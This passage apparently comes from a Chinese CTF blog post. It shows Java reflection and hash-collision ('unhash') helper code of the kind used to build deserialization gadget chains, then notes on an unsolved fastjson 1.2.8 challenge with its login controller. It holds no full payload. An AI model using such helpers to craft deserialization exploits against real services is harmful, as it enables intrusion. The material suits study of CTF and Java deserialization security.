        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }
}

fastjson题目

fastjson 1.2.8
commons-io-2.11.0
junit-jupiter-api-5.8.2

可以发现这里面,无论是否符合条件都会返回new Result这个信息,没有反序列化?

public class IndexController {
    @RequestMapping({"/"})
    @ResponseBody
    public String hello() {
        return "Hello, NEEPU CTFer :D";
    }

    @RequestMapping(value = {"/login"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"})
    @ResponseBody
    public Object login(@RequestBody User user, HttpServletResponse response) {
        if (!user.getUsername().equals("NEEPU") || !user.getPassword().equals("1949")) {
            return new Result("500", "Wrong username or password :(");
        }
        return new Result("200", "Login Success XD");
    }
}

无解没wp。。。


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。